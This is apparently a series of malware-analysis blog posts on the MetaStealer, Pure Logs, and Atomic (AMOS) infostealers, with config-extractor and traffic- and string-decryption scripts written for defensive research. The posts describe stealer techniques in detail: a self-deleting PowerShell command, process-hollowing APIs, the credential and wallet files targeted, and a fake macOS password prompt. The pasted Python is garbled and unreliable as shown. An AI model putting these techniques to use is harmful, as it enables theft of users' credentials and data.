offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
offsets = [
(10, "Telgeram Bot Token"),
(9, "Telgeram Chat ID"),
(1, "Stealer Tor Folder Name"),
(2, "Stealer Folder Name"),
(3, "Stealer Version"),
]
features = [
(4, "Local Users Spread"),
(5, "USB Spread"),
(6, "Auto Keylogger"),
(7, "Execution Method"),
(8, "AntiVM"),
]
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
for o, n in offsets:
print(f"{n}: {config_data.get(o, 'Not Found')}")
config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in features if xml_declaration_index >= o}
for o, n in features:
status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
print(f"{n}: {status}")
for data in decrypted_strings:
if "http://" in data and "127.0.0.1" notin data and "www.w3.org" notin data:
print("C2: " + data)
I am not providing the hashes for the newest version to keep the anonymity and to avoid stealer developer hunting me down. You can access both of the configuration extractors on my GitHub page
Summary
Personally, I think, WhiteSnake Stealer is undoubtedly one of the leading stealers available, offering numerous features and ensuring secure log delivery and communication. Probably one of my favorite stealers that I have ever analyzed so far. As always, your feedback is very welcome 🙂
MetaStealer made its debut on Russian hacking forums on March 7, 2022. The stealer is said to incorporate the functionality, code, and panel of Redline Stealer. The developer claims to have improved the stub of the payload. It is priced at $150 per month, mirroring the price of Redline Stealer.
Note: Some samples of MetaStealer have been found in sandbox platforms like Triage, Joe Sandbox, Any.run and classified as Redline or “another” MetaStealer” that appears to be written in C++. You can find an example here. Additionally, SentinelOne has reported a separate MetaStealer targeting MacOS devices that is written in Golang. It’s important to note that these are not the same malware variants. To clarify, the MetaStealer I am analyzing is written in C#.
The developer of MetaStealer actively advertises crypter[.]guru crypting services for their stealer users, as can be seen in the screenshot below.
I will provide a brief overview of some of the stealer’s functionalities, but we won’t delve into extensive detail as it shares many similarities with Redline Stealer. For a more comprehensive analysis, you can refer to my Redline writeup here
Technical Analysis
The generated MetaStealer build is automatically obfuscated with Confuser Core 1.6.0. Notably, the binary description contains the text “METRO 2022 Dev,” suggesting that the malware developer may be a fan of the Metro franchise 🙂
I proceeded with cleaning up the sample a bit to make it more readable and reversible. We go to the entry point of the binary and notice some interesting code within class “MainFrm” and “ReadLine” methods. Within “ReadLine” method, we see a while loop that continues as long as a boolean variable flag is false. Inside this loop, it calls StringDecrypt.Read(Arguments.IP, Arguments.Key), which retrieves two arguments IP and key. The retrieved data is split into an array of strings using the “|” character as a delimiter.
The Read method takes two string parameters, b64 and stringKey. The method first checks if the b64 parameter is null, empty, or consists only of white-space characters (if (string.IsNullOrWhiteSpace(b64)). If b64 is not null or white-space, the method performs a series of operations:
It first decodes b64 from Base64 format. The result of this decoding is a string (StringDecrypt.FromBase64(b64)).
It then applies an XOR operation to the decoded string using stringKey as the key.
The result of the XOR operation is then decoded again from Base64 format.
Looking at the Arguments table, we can see some interesting base64-encoded strings:
This is StringDecrypt class, where XOR decryption takes place:
For each character in input, it performs an XOR operation with the corresponding character in stringKey as shown in the Arguments table. The index for stringKey is determined by i % stringKey.Length, ensuring that if stringKey is shorter than input, it will repeat from the very beginning. The exact similar string encryption is used for Redline as well.
Upon decrypting the string in CyberChef, we get the C2 IP and the port number.
Next, we will look at method_03. The code is responsible for setting up network communication.
It attempts to establish a network channel to a remote endpoint specified by the address argument. This involves creating a ChannelFactory with a specific binding and endpoint address.
It then sets up credentials and bypasses certificate validation.
Next, it adds an “Authorization” message header with a hardcoded value (token/key) that is likely for authentication purposes (for example, {xmlns=”ns1”>ead3f92ffddf3eebb6b6d82958e811a0})
It then returns true if the connection setup is successful, false if any exception occurs
method_0 contains MSValue1, which is a call to a method on a WCF (Windows Communication Foundation) service channel and the connector object is a proxy facilitating the remote method invocation.
Next, we will reach method_2:
It calls this.connector.OnGetSettings(), which seems to be a method call to obtain some data from C2. The result is assigned to the msobject variable. OnGetSettings method is responsible for retrieving settings data and packaging it into an instance of the MSObject18 class.
Each MSValue (MSValue10, MSValue11, MSValue12 etc.) stores the configuration retrieved from C2:
MSValue11 – stores the paths to the “User Data” folder for various browsers and applications such as Steam and Battle.net to steal the sensitive information from:
Let’s look at the Redline sample where it stores the configuration from the sample I analyzed at the end of 2022 and MetaStealer. We can see that MetaStealer is using MSObject* instead of Entity* objects as well as MSValue* instead of Id*. MetaStealer also uses a different type of collections. Redline Stealer uses *System.Collections.Generic.IEnumerable {Entity16[]}* , which represents a sequence of items of type *Entity16*, and the data shown is an array of *Entity16* objects. Metastealer uses *System.Collections.Generic.List*, which represents a dynamic list of strings.
Next, MetaStealer proceeds with decrypting the binary ID, which is the same XOR algorithm described earlier for retrieving the IP address. Further down, I stumbled across the code that is responsible for extracting the data from the byte array and performing the string replacement. Thanks @cod3nym for pointing out that it’s part of ConfuserEx default constant encryption runtime.
Some of the retrieved strings are then getting replaced:
The stealer retrieves the memory with the WMI query SELECT * FROM Win32_OperatingSystem. Next, it retrieves the Windows version via the registry:
Interestingly enough, the stealer checks if the directory at the AppData\Local\ElevatedDiagnostics path exists. If the directory does not exist, it creates the directory. If the directory exists, it then checks if it was created more than 14 days ago (by comparing the directory’s creation time to the current time minus 14 days). If the directory is older than 14 days, it deletes and recreates it. This stealer might be trying to clean up old diagnostic reports to hide any traces of execution.
The code below is responsible for screenshot capture.
GetVirtualDisplaySize method retrieves the size of the virtual display on a system, which encompasses all the screen area across multiple monitors
GetImageBase method is designed to capture an image of the virtual display. First, it retrieves the virtual display size using the GetVirtualDisplaySize method. It then creates a new Bitmap object with the dimensions of the virtual display.
ConvertToBytes method is used to convert an Image object to a byte array, presumably for storage or transmission. If the provided image is not null, it saves the image into a MemoryStream in PNG format. The contents of the memory stream are then converted to a byte array.
MetaStealer uses the WMI query SELECT * FROM Win32_DiskDrive to retrieve information (Serial number) of the physical disk drives.
The code below computes an MD5 hash based on the user’s domain name, username, and serial number retrieved from the query above. The GetHexString method is used to convert bytes into a hexadecimal representation. It processes each byte in the byte array, converting every 4 bits into a hexadecimal character and adds hyphens after every 2 characters (equivalent to every 4 hexadecimal digits) in the generated hash) and then removes them (for example 4E6B8D28B175A2BE89124A80E77753C9). The result is stored in MSValue1 within MSObject7. This will be the HWID value.
The stealer proceeds with enumerating the infected system for FileZilla (C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml). Next, it enumerates AV products using the following WMI queries:
SELECT displayName FROM AntiVirusProduct
SELECT displayName FROM AntiSpyWareProduct
SELECT displayName FROM FirewallProduct
The stealer then proceeds with enumerating the directories for VPN apps such as NordVPN, OpenVPN Connect, ProtonVPN within FileScannerRule class. It retrieves a list of FileInfo objects by scanning a directory specified by msobject.MSValue1 using the EnumerateFiles method. The SearchOption parameter determines whether the search is recursive (SearchOption.AllDirectories) or limited to the top directory only (SearchOption.TopDirectoryOnly).
The stealer retrieves information about running processes via the query SELECT * FROM Win32_Process Where SessionId=’“ as well as the command line for each process:
Search method is responsible for searching for files within certain directories (Windows, Program Files, Program Files (x86)). The BaseDirectory is where the search begins, for example, “C:\Users\username\AppData\Local\Battle.net”.
GetBrowser method gets the information on the installed browsers on the infected machine. 1. It attempts to access the Windows Registry to retrieve information about web browsers installed on the system. It opens a specific Registry key path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet This key is used to store information about web browsers on 64-bit Windows systems. If the first attempt to open the key is unsuccessful, it falls back to opening a similar key path without the “WOW6432Node” part under HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet (32-bit Windows systems). After successfully opening the appropriate Registry key, it retrieves the names of its subkeys (which represent different web browsers) using the GetSubKeyNames() method. Within the loop of iterating through the list of browsers, it creates an instance of an object named MSObject4, which is used to store information about each web browser. The stealer opens a subkey under the current browser’s key path, which corresponds to the “shell\open\command” key, to retrieve the command line associated with launching the browser. This command line is stored in msobject.MSValue3. It then checks if msobject.MSValue3 is not null and then retrieves the file version of the browser executable using FileVersionInfo.GetVersionInfo(msobject.MSValue3).FileVersion.
The processor information is retrieved via the query SELECT * FROM Win32_Processor”* within *GetProcessors method.
The list of installed programs is retrieved within ListofPrograms method by accessing the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.
The basic information gathered such as the timezone, the build ID, stealer name, username, Windows version, screen size, MD5 hash (based on the user’s domain name, username, and serial number), language settings are stored under results variable and the stealer configuration is stored under settings variable.
Here is the snippet of the C2 communication with MetaStealer:
Redline for comparison:
So how do you differentiate between two stealers if they are very similar? That’s right, the easiest way is probably based on traffic. The traffic for MetaStealer would slightly be different than for Redline Stealer. MetaStealer would have the indicator hxxp://tempuri.org/Contract/MSValue1 as well as MSValue1, MSValue2, etc., whereas Redline Stealer will have hxxp://tempuri.org/Entity/Id1.net as well as Id1, Id2, etc.
As for the binary, we can also look for Id, MSValue, Entity, MSObject patterns like in the screenshot below:
View of the Settings panel:
The Domain Detector settings are used to sort the logs out based on specific domains, the captured logs configured will be displayed as PDD (if the domain is found in credentials), CDD (if the domain is found in cookies) in the Logs panel as well as generated in the Logs file as DomainsDetected.txt. The Misc section allows the user to clone the certificate of the binary and file information and apply it to the stealer build as well as to increase the file size and apply VirusTotal leak monitoring (to monitor if the file is submitted to VT).
Black Lists section allows the user to blacklist countries (it’s worth noting that. compared to Redline, MetaStealer Stealer does not have an anti-CIS (Commonwealth of Independent States) feature) that prevents the stealer from running in CIS countries), IPs, HWIDs and build IDs.
Binder/Crypt section allows the user to bind/merge binaries and obfuscate them with ConfuserEx. The user then can launch the merged binary from the disk or directly in memory with process hollowing using the following APIs:
CreateProcessInternalW
ZwUnmapViewOfsection
ZwaAllocateVirtualMemory
ZwWriteVirtualMemory
ZwGetThreadContext
LocalFree
ZwSetContexThread
ZwResumeThread
ZwClose
We can test run the Yara rule that I provided at the end of this article for MetaStealer relying specifically on strings that are unique to MetaStealer on unpac.me. After the successful scan, we see 216 matches and 138 of them are detected as “Redline”
Pure Logs Stealer first appeared on hacking forums at the end of October 2022. The stealer is developed by a malware developer going under the alias PureCoder.
The malware developer is also behind in developing the products shown above, such as Pure Miner, Pure Crypter, Pure hVNC, Blue Loader, and other products, including HWID reset, Discord DM Worm, and Pure Clipper.
The malware developer periodically pushes updates to their products. The
The view of the File Grabber panel:
The view of the File Builder panel:
The stealer can be purchased automatically via the Telegram Bot without interacting directly with the malware developer/seller.
Before diving into the technical part, I want to thank cod3nym for helping with the crypter and getting additional stealer samples.
Technical Analysis
Pure Logs Stealer comes crypted using their own Pure Crypter product. The stealer allegedly has antiVM, self-delete, persistence, file grabber, and file loader features, but the features currently do not work as expected within the stealer. The self-delete feature removes the stealer payload via PowerShell command **powershell Start-Sleep -Seconds 10; Remove-Item -Path ’“”‘ -Force”**.
The persistence is added via Registry Run Keys (T1547.001).
I will not go through the layers of unpacking and just go straight to the core payload, which is our Pure Logs stealer. The stealer is 64-bit and is slightly over 2MB in size. It is topped with Eazfuscator.NET, which obviously is a .NET obfuscator, as shown in the image below.
The stealer creates the folder under %TEMP%\Costura\1485B29524EF63EB83DF771D39CCA767\64** and drops the file **sqlite.interop.dll that is one of the dependencies for the stealer, likely facilitating access to the browser data.
The Main method within the PlgCore class loads the C2 address, and build ID (the default build ID is Default) as one of the arguments from the crypter, the other one is the value that will be used along with MD5 to generate the 3DES key for data encryption, but we will through that later in the article.
The stealer gets the host information, including the version of the OS, via WMI, specifically SELECT * FROM win32_operatingsystem statement. If neither 32-bit nor 64-bit OS systems cannot be determined, the OS is marked as “unknown”, the same goes for the username, machine name, antivirus products, the working directory (the path from where the stealer was launched), etc., enumeration.
It gets BIOS information via Win32_BaseBoard. ProcessorId and CPU information via Win32_Processor. The ProcessorId and CPU information are then used to generate an MD5 hash, which will be the HWID marker in the stealer’s log file for the infected machine.
The username and the HWID are separated by an underscore and displayed in the panel in the format “username_hwid”, as shown below.
Next, the stealer splits at the pipe the gathered information via SELECT * FROM win32_operatingsystem , specifically under the value Name, and likely grab only the Windows Version value to parse it to the stealer’s log file.
The query for antivirus products is performed via Select * from AntivirusProduct statement.
The method below captures a screenshot of the entire primary display screen of the infected host and converts it into a JPEG image format, returning the image as a byte array.
The method below gets the content of the clipboard.
The GPU information is accessed via Win32_VideoController under the Name value. The RAM value is accessed via Win32_ComputerSystem under the TotalPhysicalMemory value.
The method below is responsible for getting the screen size. It gets the dimensions of the display screen of the computer using Screen.GetBounds(Point.Empty)
The list of the cryptowallet extensions to be enumerated and collected by the stealer:
Some of the data collected from Chromium-based browsers and the mention of encrypted_mnemonic is shown in the image below. encrypted_mnemonic most likely stores a securely encrypted version of a mnemonic seed phrase, which is essential for accessing or recovering cryptowallets.
For Gecko-based applications such as:
Mozilla\Firefox
Waterfox
K-Meleon
Thunderbird
Comodo\IceDragon
8pecxstudios\Cyberfox
NETGATE Technologies\BlackHaw
Moonchild Productions\Pale Moon
The stealer uses specific queries, for example, “SELECT * FROM moz_bookmarks” , the query that interacts with the SQLite database used by Mozilla Firefox for storing user bookmarks. For Gecko-based applications, the stealer accesses file logins.json, which Mozilla Firefox uses to store saved login information, including usernames and passwords for websites, as shown below.
The method below is responsible for extracting, processing, and decrypting credential information from specific registry paths related to Outlook profiles. The regex patterns are used to validate server names and email addresses.
The following Outlook registry paths are enumerated:
The snippet below is the method responsible for grabbing Discord data. The method iterates through directories associated with different Discord builds (discord, discordcanary, discordptb).
It searches for directories containing local storage data (specifically in the leveldb folder).
The method calls \uE002 to extract certain data from the local storage files (ldb, log, sqlite)
If any data is found, it attempts to make web requests to Discord API endpoints using these tokens. The regular expressions in the image below is created to match patterns that resemble Discord authentication tokens.
Funny fact: all Discord tokens start with dqw4w9wgxcq, let’s not get rickrolled …
Interestingly enough, Pure Logs Stealer also collects Windows product key and stores it under a separate log file named App_Windows Serial Key.txt. It accesses the key via the registry SOFTWARE\Microsoft\Windows NT\CurrentVersion under the value DigitalProductId.
I renamed each method so it is easy to visualize what type of data the stealer collects:
As you can see from the above image, the most current stealer version is v3.1.3, and some additional sensitive data is collected from the following applications:
FileZilla
WinSCP (collects username, and passwords)
Foxmail
Telegram
Pidgin
Signal
InternetDownloadManager (IDM) (collects email addresses, first name, last name and serial number)
OBS Studio (collects profiles data)
Ngrok (collects ngrok.yml)
OpenVPN
ProtonVPN
I will leave it to you to explore what files it collects from some of the applications mentioned above.
The example of the logs folder is shown below:
It is worth noting that after successfully executing, the stealer creates a registry subkey under HKU:\Software with the HWID value.
C2 Communication
The stealer uses a Socket for TCP/IP communication. It sets up a TCP/IP socket and attempts to connect to a server, and if the connection is successful, it begins receiving data. It continuously tries to connect, with a 5-second delay between attempts, in case of initial failure. The default port for communication is 7702, but that can be changed.
Before sending the actual data to C2, it sends the data size as shown below.
The exfiltrated data is sent at once instead of in separate parts, which impacts the successful infection. The attacker will not receive any data if the communication is interrupted at a certain point. It is worth mentioning that stealers such as Raccoon Stealer send the data in parts to the C2 server, so in case of network interruption, at least some data is exfiltrated.
As it was briefly mentioned before, Pure Logs Stealer uses 3DES for data encryption that is sent over to C2. The 3DES key is derived from the value supplied as one of the parameters along with the C2 IP address in the stealer payload.
The Python implementation to decrypt the traffic:
# Author: RussianPanda
import gzip
import binascii
from Crypto.Cipher import DES3
from Crypto.Hash import MD5
from Crypto.Util.Padding import unpad
# Decrypt data using 3DES with MD5 hash of a key string
defdecrypt_3des(encrypted_data_hex, key_string):
encrypted_data = binascii.unhexlify(encrypted_data_hex)
md5_hash = MD5.new()
md5_hash.update(key_string.encode('utf-8'))
key = md5_hash.digest()
cipher = DES3.new(key, DES3.MODE_ECB)
# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)
decrypted_data_unpadded = unpad(decrypted_data, DES3.block_size)
return decrypted_data_unpadded
defdecompress_gzip(data):
data_without_length = data[4:]
decompressed_data = gzip.decompress(data_without_length)
return decompressed_data
encrypted_data_hex = ""
# Key string used for encryption
key_string = ""
# Decrypt the data
decrypted_data = decrypt_3des(encrypted_data_hex, key_string)
decompressed_data = decompress_gzip(decrypted_data)
# Saving the decompressed data to a file
output_file = "decrypted_data.bin"
with open(output_file, 'wb') as file:
file.write(decompressed_data)
print(f"Decompressed data saved as {output_file}")
Conclusion
Despite the obfuscation and layers of unpacking, Pure Logs Stealer is similar to other .NET stealers and does not possess any special functionalities. The effectiveness of its file grabber and file loader features remains to be questioned.
Detection Rules
You can access the Yara detection rule for Pure Logs Stealer here.
You can access the Sigma detection rule for Pure Logs Stealer here.
Previously, I wrote a blog going through some of MetaStealer’s functionalities and did a brief comparison with Redline since they are both very similar but, at the same time, different. You might say that all stealers are the same because they have one purpose – to steal. However, each of them is somewhat different from the others, even if they borrowed the code from their predecessors.
Every stealer tries to be better than the other one despite having similar code and functionality. What is considered a good stealer? The stealer has a low detection rate and a high rate of successful infection, or what we call “отстук” in Russian. Stealers such as Redline, Metastealer, Raccoon Stealer, Lumma, RisePro, and Vidar have earned their names in the stealer market. Below is the list of top stealers’ whose logs are being sold on RussianMarket.
The popularity of mentioned stealers among users, mainly those developed by native Russian speakers, could be attributed to the ease of communication and support in their native language. As you might have noticed, stealers are notably prevalent among Russian-speaking communities. The ability to interact in one’s native language – whether it is to request new features, report issues, or inquire about the functionality of the stealer – significantly simplifies the process compared to the effort required for translation into English. This linguistic accessibility potentially broadens the client base, offering the stealer more opportunities to attract additional users.
The world of stealers is rife with drama, much like any other corner of the cybercriminal ecosystem. I was recently informed about an incident related to the Santa Barbara topic on XSS forums. This topic was created by one of Lumma’s former coders, coinciding with Lumma’s one-year anniversary. To put it briefly, Lumma’s founder did not adequately recognize or compensate the coder’s contributions, leading to dissatisfaction and underpayment.
Another drama story: some of you might know how Aurora Stealer left the market before their infamous botnet release; some users deposited money for the botnet and never got it back, of course. Now, Aurora has become a meme within the stealer’s community.
In July 2023, an advertisement was posted on XSS forums for a new stealer written in Golang, known as “EasyStealer”, then the rumors started spreading among the stealer’s community that this was the work of an Aurora developer, now the stealer is nowhere to be found.
Does all of this impact the sales of stealers? Not at all. People continue to purchase stealers as long as their functionality meets their requirements.
Google Cookie Refresher “feature” or a “0day”
So, you’ve likely heard about the ongoing Google “0day” vulnerability, which allows attackers to obtain fresh cookies, granting them “indefinite” access to Google accounts. It is a rather convenient “feature,” isn’t it? However, it is also quite dangerous because an attacker would be able to get fresh cookies to Google accounts each time the old ones expire.
As @g0njxa mentioned, the feature is abused by many stealers, including RisePro, MetaStealer, Whitesnake, StealC, Lumma, Rhadamanthys, and Meduza. Additionally, as of December 29th, Vidar Stealer has implemented this feature.
The question of how long it will take Google to respond to this issue remains unanswered. However, this situation presents even more opportunities for stealers to take advantage of the vulnerability.
The reason why I brought this up is how easily it can be exploited with just a few lines of Python code that includes the decrypted token value, account ID, and the proper request to the server if some people are curious enough to find out. Although, certain parameters need to be slightly tweaked from the server’s response to make it work. Here is my video with proof-of-concept on how it works on a high level. I have created a video demonstrating the proof-of-concept at a high level. For ethical reasons, I will not delve into the technical details of the POC.
MetaStealer Part 2: Technical Analysis
In November 2023, I released the writeup on MetaStealer. However, soon after its release, the malware developer made another update that changed the class names, string encryption algorithm, binary description, and file icon.
MetaStealer new version is approximately 368KB in size with the binary description Cavils Corp. 2010 (the previous one was METRO 2022 Dev).
The logo change:
If previously, MetaStealer used “Entity” for class names; now it’s using “Schema” and “TreeObject” to store data and configurations instead of MSValue.
Instead of string replacement operations, it now accesses a decrypted string from an array based on the given index. For example, below, where it uses ManagementObjectSearcher class to query system management information. The constructor of ManagementObjectSearcher takes two parameters: a WMI query path and a query string, for example “ROOT\SecurityCenter: SELECT * FROM AntivirusProduct”.
The new string decryption algorithm works the following way:
First, the base64-encoded string gets base64-decoded and XOR’ed with the hardcoded key (in our example, it is Crayfish); the XOR’ed string then gets base64-decoded again.
Each XOR’ed and base64-decoded string is assigned as an AES key and IV (Keys[1] and Keys[2]).
The encrypted byte arrays are then reversed and decrypted using the keys and IV mentioned above
To save us some time, we can use the dynamic approach to decrypt the strings using dnlib. The wonderful approach was detailed by @n1ghtw0lf in this blog. Also, I want to thank @cod3nym for amazing tips when it comes to dealing with .NET shenanigans!
Here are the steps to decrypt the strings:
We will use dnlib, a library for reading and writing .NET assemblies to load a .NET module and assembly from a given file path.
We will define the decryption signature (decryption_signature) to identify methods that are likely used for decryption. This signature includes the expected parameters and return type of the decryption methods.
We will search the loaded assembly for methods that match the defined decryption signature.
deffind_decryption_methods(assembly):
suspected_methods = []
flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic
for module_type in assembly.GetTypes():
for method in module_type.GetMethods(flags):
for sig in decryption_signature:
if method_matches_signature(method, sig):
suspected_methods.append(method)
return suspected_methods
Finally, we will invoke the suspected decryption methods by scanning the assembly’s methods for calls to the suspected decryption methods, extracting the parameters passed to these methods, and invoking the decryption methods with the extracted parameters.
definvoke_methods(module, suspected_methods):
results = {}
for method in suspected_methods:
for module_type in module.Types:
ifnot module_type.HasMethods:
continuefor m in module_type.Methods:
if m.HasBody:
for insnIdx, insn in enumerate(m.Body.Instructions):
if insn.OpCode == OpCodes.Call:
called_method_name = str(insn.Operand)
if method.Name in called_method_name:
params = extract_parameters(m.Body.Instructions, insnIdx, method)
if len(params) == len(method.GetParameters()):
try:
result = invoke_method_safely(method, params)
if result isnot None:
location = f"{module_type.FullName}.{m.Name}"
results[location] = result
except Exception as e:
None
return results
We will also include the logic to handle different types of parameters, such as integers and strings. It uses get_operand_value to extract values from method instructions based on their type.
defget_operand_value(insn, param_type):
if "Int32" in param_type and insn.IsLdcI4():
return Int32(insn.GetLdcI4Value())
elif "String" in param_type and insn.OpCode == OpCodes.Ldstr:
return insn.Operand
return None
Note: Please run the script strictly in a sandbox environment.
The output of the script (tested on the deobfuscated sample MD5: e6db93b513085fe253753cff76054a2a):
You might have noticed an interesting base64-encoded string in the output above.
Upon decoding, we receive a .NET executable qemu-ga.exe (MD5: e6db93b513085fe253753cff76054a2a).
Now, an interesting moment: MetaStealer writes that executable to the Startup after successfully receiving the configuration from the C2 server and collecting user information. The executable does not do anything but enters the indefinite loop that alternates between sleeping for 100 seconds and waiting for user input without doing anything with that input.
Another addition to the new version of MetaStealer is the username and computer name check to avoid sandbox environments; if any of the usernames/computer names are found in the list, the stealer process will exit.
Atomic Stealer is known to be the first stealer for MacOS devices, it first appeared on Russian hacking in March, 2023.
For 3000$ per month, the user gets the access to the panel. The user provides Telegram Bot ID and build ID to the seller and the user receives the build.
The stealer allegedly has the following functionalities and features:
Login Keychain dump
Extract system information
FileGrabber (from Desktop, Documents)
MacOS Password retrieval
Convenient web panel
MetaMask brute-forcer
Crypto-checker (tool to check the information on crypto assets)
Cyble identified the Go source code path containing the username iluhaboltov. That is not confirmed but might suggest that the developer’s name is Ilya Boltov.
Technical Analysis
In December 2023, Jérôme Segura published an article on the new version of Atomic Stealer circulating on the Internet. Unlike previous versions where the strings were in cleartext, in the new version of AMOS, all the strings are encrypted.
To cheat a little bit, we can look at the functionality of the previous Atomic Stealer to be able to recognize and interpret the actions for some of the decrypted strings in the newer versions.
In the previous version (MD5: bf7512021dbdce0bd111f7ef1aa615d5), AMOS implements anti-VM checks, the stealer executes the command system_profiler SPHardwareDataType. system_profiler is a command-line utility in macOS that provides detailed information about the hardware and software configuration of the Mac device. It’s the command-line equivalent of the “System Information” on Windows and MacOS machines that users can access through the GUI. SPHardwareDataType is a specific data type specifier for the system_profiler command, it instructs the utility to display information related only to the hardware of the system, such as processor name, number of processors, model name, hardware UUID, serial number, etc. If it detects VMware or Apple Virtual Machine – the program exits. If not, the collected information is passed to /Sysinfo.txt.
The FileGrabber in the previous version grabs files with the following extensions from Desktop and Documents folder:
txt
rtf
xlx
key
wallet
jpg
png
web3
The ColdWallets function grabs the cold wallets. Cold wallets often referred to as “cold storage,” is a method of storing cryptocurrencies offline.
GrabChromium function is responsible for grabbing data such as AutoFill, Web Data, Login Data, Wallets, Password, Local Extension Settings data from Chromium-based browsers such as Microsoft Edge, Vivaldi, Google Chrome, Brave, Opera within ~/Library/Application Support/ path.
keychain function is responsible for retrieving pbkdf2 key from the keychain location. In the screenshot below we can see the pass() being executed if the result of dscl command is not an empty string (“dscl /Local/Default -authonly “, additional parameters are passed to the command including username and an empty password), which means that it would likely fail the authentication.
The pass function is responsible for prompting user to enter the password for the device by displaying a message dialog “macOS needs to access System settings %s Please enter your password.” with osascriptwith title “System Preferences”: Sets the title of the dialog window to System Preferences. The dialog will automatically close after 30 seconds if the user doesn’t interact with it. After retrieving a password with GetUserPassword from the dialog box, the function checks if the returned password is not an empty string and if the password is not empty, the function then calls getpass with the entered password. getpass will try to authenticate with entered password and if it returns 0, which means that the password was entered incorrectly, the user gets “You entered an invalid password” display message.
Once a valid password is entered, the function proceeds with writing the password to /Users/run/{generated_numeric_value}/password-entered , based on my understanding. The path with the numeric value is generated using the function below where the stealer gets the current time of the device and then seeds the current time with the random number generator.
The function then checks if the user’s keychain file (login.keychain-db) exists. If it does, it copies this keychain file to a new location specified by /Users/run/{generated_numeric_value}/login-keychain. The Login Keychain acts as the primary storage file in macOS, where it keeps a majority of the passwords, along with secure notes and various other sensitive pieces of information.”
Let’s come back to pbkdf2 key: in order to grab the key, the stealer executes the command:
The output is compared against the string SecKeychainSearchCopyNext. SecKeychainSearchCopyNext is a macOS API function used to find the next keychain item that matches given search criteria. If the output is not SecKeychainSearchCopyNext, the code constructs a file path under /Chromium/Chrome and then writes the extracted key into a file named Local State. The pbkdf2 key serves as an essential component for password decryption in Chrome.
Within function dotask(), after collecting data from functions (it’s worth mentioning that the data collected are appeared to be stored at /Users/run/{generated_numeric_value}):
GrabChromium()
keychain()
systeminfo()
FileGrabber()
GrabFirefox()
ColdWallets()
The stealer uses ditto, a command-line utility on macOS that’s used for copying, creating and extracting files, directories and archives, to archive the retrieved logs and sends them over to the command-and-control server. The command used to archive the files: “ditto -c -k –sequesterRsrc –keepParent”. The zip archive name is the same as the randomly generated numeric value that is present in the path mentioned above.
The example of the archived logs:
The logs are then sent to the Command and Control (C2) server using a POST request to the /sendlog endpoint.
New Version of AMOS
In the new version of AMOS, the string are encrypted using series of XOR operations shown in the image below.
Let’s briefly go through it:
The algorithm first checks a specific condition based on the 10th byte of the array. If this byte (when treated as a binary value) has its least significant bit set to 0 (meaning it’s an even number), the decryption process proceeds.
The algorithm iterates through a portion of the byte array, starting from a specific position. In each iteration, it compares the current byte with the following byte and depending on how the current byte relates to the next byte, different XOR operations are applied. These operations are:
If the current byte is one less than the next, XOR it with the next byte plus 1.
If the current byte is two less than the next, XOR it with the next byte plus 2.
If the current byte equals the next byte, XOR it with the current index minus 4 (this value is different for each encrypted string)
If the current byte is four less than the next, XOR it with the next byte plus 3.
If the current byte is five less than the next, XOR it with the next byte plus 4.
After applying the XOR operation, the current byte is incremented by 1, and the algorithm moves to the next byte.
This whole process continues until a certain condition is met (like reaching a specific array index), signifying the end of the encrypted data.
After struggling to understand why I was failing to reproduce the decryption algorithm from C to Python, @cod3nym helped me to figure out that the solution involved using ctypes.
So, using that information, I wrote the IDAPython script to decrypt the strings, so I don’t have to manually enter each of them in 😀 The script is pretty wonky, but it does the job. You can access the script here.
AMOS uses mz_zip_writer_add_mem, Miniz compression, for archiving the extracted logs.
send_me function is responsible for sending the logs in a ZIP archive over to C2 to port 80 using the hardcoded UUID 7bc8f87e-c842-47c7-8f05-10e2be357888. Instead of using /sendlog as an endpoint, the new version uses /p2p to send POST requests.
passnet function is responsible for retrieving the pbkdf2 from Chrome, the stealer calls it masterpass-chrome.
pwdget function is responsible for retrieving the password of the MacOS device via the dialog “Required Application Helper. Please enter passphrase for {username}” as shown below.
myfox function is responsible for retrieving Firefox data such as:
/cookies.sqlite
/formhistory.sqlite
/key4.db
/logins.json
Compared to the previous version, the new version gathers not only information about hardware but also system’s software and display configurations with the command system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.
The FileGrabber functionality is shown in the image below.
FileGrabber has several functionalities:
It sets a destination folder path named fg in the home folder of the current user (/Users/{username}). If this folder doesn’t exist, it creates it. It then defines a list of file extensions (“txt”, “png”, “jpg”, “jpeg”, “wallet”, “keys”, “key”) to filter files for later operations. It initializes a variable “bankSize” to 0, possibly intended to keep track of the total size of files processed.
Next, it proceeds with retrieving the path to Safari’s cookies folder and tries to duplicate the Cookies.binarycookies file from Safari’s folder to the destination folder. This file contains Safari browser cookies.
For processing notes data it attempts to duplicate specific Notes database files (“NoteStore.sqlite”, “NoteStore.sqlite-shm”, “NoteStore.sqlite-wal”) to the destination folder. These files contain user’s notes.
For processing files on Desktop and Documents folders it retrieves all files from the Desktop and the Documents folder. For each file, it checks if the file’s extension is in the predefined list mentioned above. If the file matches the criteria and the total size (bankSize) of processed files does not exceed 10 MB, it duplicates the file to the destination folder and updates “bankSize”.
You can access the list of decrypted strings here.
Conclusion
Besides encrypted strings, the new version appears to perform additional enumeration on the infected machine and, from what I could tell, the ZIP archive is not written to the disk anymore. The latest version of AMOS is definitely designed to leave as few traces as possible on the infected machines. There is also a typo in one of the wallet addresses in the new version for some reason acmacodkjbdgmoleeebolmdjonilkdbch , which is supposed to be acmacodkjbdgmoleebolmdjonilkdbch.
I would like to extend my thanks to Edward Crowder for his assistance with MacOS questions and to @cod3nym for the help in implementing the Python decryption function.
The GlorySprout ads surfaced on the XSS forum at the beginning of March 2024 (the name makes me think of beansprout; perhaps the seller behind the stealer is a vegetarian).
